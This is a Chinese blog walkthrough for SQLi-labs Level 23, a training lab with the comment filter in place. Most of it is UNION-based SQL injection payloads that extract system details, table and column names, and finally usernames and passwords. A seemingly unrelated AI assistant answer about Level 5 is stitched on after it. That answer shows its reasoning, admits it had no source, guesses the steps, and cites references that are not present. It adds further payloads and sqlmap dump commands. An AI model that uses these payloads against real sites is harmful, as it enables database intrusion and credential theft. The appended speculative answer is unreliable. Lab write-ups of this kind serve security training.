SQL-labs的第23关——注释被屏蔽 union联合查询攻击(Get)

1、判断闭合方式

输入语句

?id=1'

,返回页面如下:

我们猜测闭合方式是'。我们接下来输入语句

?id=1' --+

,返回页面如下:

我们有添加了),但是仍然报错,这时我们怀疑注释符被屏蔽了。

我们输入语句

?id=1' and '1'='1

,返回页面如下:

说明闭合方式是',并且注释符被屏蔽了。

2、判断回显位

我们发现这里好像有回显,我们输入语句

id=1' union select null,null,null,null and '1'='1

,返回页面如下:

但是如果是3个null,那么不会报错,这说明总共有3个注入位置。

接下来,我们看一下,那个位置可以进行回显。输入语句

?id=-1' union select 1,2,3 and '1'='1

,返回页面如下:

这说明只有第一个和第二个位置是回显位,我们只需要在这两个位置进行注入就行。其实只有第二个是回显位,第一个也不是。

3、爆破数据库名、用户名、版本、操作系统、数据库地址

输入语句

?id=-1' union select 3,concat(@@datadir,'~',@@version_compile_os,'~',database(),'~',user(),'~',version()),3 and '1'='1

,返回页面如下:

4、爆破数据表名

输入语句

?id=-1' union select 3,group_concat(table_name),3 from information_schema.tables where table_schema=database() and '1'='1

,返回页面如下:

5、爆破列名

输入语句

?id=-1' union select 3,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() and '1'='1

,返回页面如下:

6、爆破字段内容

输入语句

?id=-1' union select 1,(select group_concat(concat(id,'-',username,'-',password)) from users),2 and '1'='1

,返回页面如下:

到此打靶结束

使用报错注入也可以。

<think>好的,我需要帮助用户找到SQL-Labs第5的解决方案。首先,我需要回顾用户提供的引用内容,看看是否有直接相的信息。用户提供的引用1到5主要涉及第46-50、29-31、第十一、第十七等,但没有明确提到第五。不过,可能有一些通用的技巧或方法可以应用。 首先,SQL-Labs卡通常涉及不同类型的SQL注入攻击,比如联合查询、报错注入、布尔盲注、时间盲注等。第5可能属于基础卡,可能涉及GET请求的单引号注入。根据常见的卡设计,第五可能类似于前几的结构,但可能有不同的闭合方式或过滤规则。 我需要参考用户提供的引用内容中的方法,例如引用1中的ORDER BY注入,引用2中的联合查询和group_concat的使用,引用3中的POST型注入,引用4中的HTTP参数污染和WAF绕过,引用5中的sqlmap使用。虽然这些引用不直接针对第五,但可能提供通用的解题思路。 接下来,我需要构建可能的步骤:确定注入点、判断闭合方式、确定列数、联合查询获取数据。可能涉及单引号闭合,使用联合查询注入,利用报错或布尔盲注。例如,用户可能在URL中使用?id=1'进行测试,观察是否有报错,然后使用--+注释后续内容。确定列数后,联合查询获取数据库信息,如数据库名、表名、字段内容。 同时,可能需要使用sqlmap工具自动化测试,如引用5中提到的使用-r参数读取请求文件,指定数据库和表进行爆破。此外,引用4提到的HTTP参数污染可能用于绕过某些过滤,但第五可能不需要这么复杂的技巧,因为它属于早期卡。 总结,虽然没有直接的第五信息,但根据常见方法和引用中的类似步骤,可以推断出解决方案。需要确保步骤清晰,包括闭合方式判断、列数确定、联合查询构造,以及使用工具的方法。同时,提醒用户注意实际测试中的变量,如过滤规则和闭合符号的变化。</think>### SQL-Labs第5解决方案分析 SQL-Labs第5通常属于**基于GET请求的单引号字符型注入**,需要通过联合查询Union Select)获取敏感信息。以下是详细步骤: --- #### **1. 判断注入点及闭合方式** - 输入`?id=1'`测试闭合符号: ```sql ?id=1' --+ ``` 若页面返回正常,说明闭合方式为**单引号**,且注释符`--+`成功闭合语句[^1][^4]。 --- #### **2. 确定字段数(列数)** 使用`ORDER BY`逐次测试列数: ```sql ?id=1' ORDER BY 3 --+ --页面正常 ?id=1' ORDER BY 4 --+ --页面错误 ``` 说明当前表有**3列**[^2]。 --- #### **3. 联合查询注入** 构造联合查询语句,探测回显位: ```sql ?id=-1' UNION SELECT 1,2,3 --+ ``` 若页面显示`2`或`3`,表示第2、3列为回显位[^4]。 --- #### **4. 获取数据库信息** 通过回显位提取数据库名、表名、字段数据: - **当前数据库名**: ```sql ?id=-1' UNION SELECT 1,database(),3 --+ ``` 输出示例:`security`。 - **爆表名**: ```sql ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+ ``` 输出示例:`users,emails`[^5]。 - **爆字段名**: ```sql ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+ ``` 输出示例:`id,username,password`[^2][^5]。 --- #### **5. 提取用户数据** 获取`users`表中的账户密码: ```sql ?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --+ ``` 输出示例:`admin:5f4dcc3b5aa765d61d8327deb882cf99`(即`admin:password`的MD5值)[^5]。 --- #### **6. 使用SQLMap自动化注入** 若手动注入困难,可通过SQLMap自动化操作: 1. 保存请求为`1.txt`(包含GET请求的URL和参数)。 2. 执行命令爆破数据: ```bash sqlmap -r 1.txt --dbs # 爆破数据库 sqlmap -r 1.txt -D security -T users --dump # 提取用户表数据 ``` 参考引用[5]中的参数格式。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hacker-小胖锅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值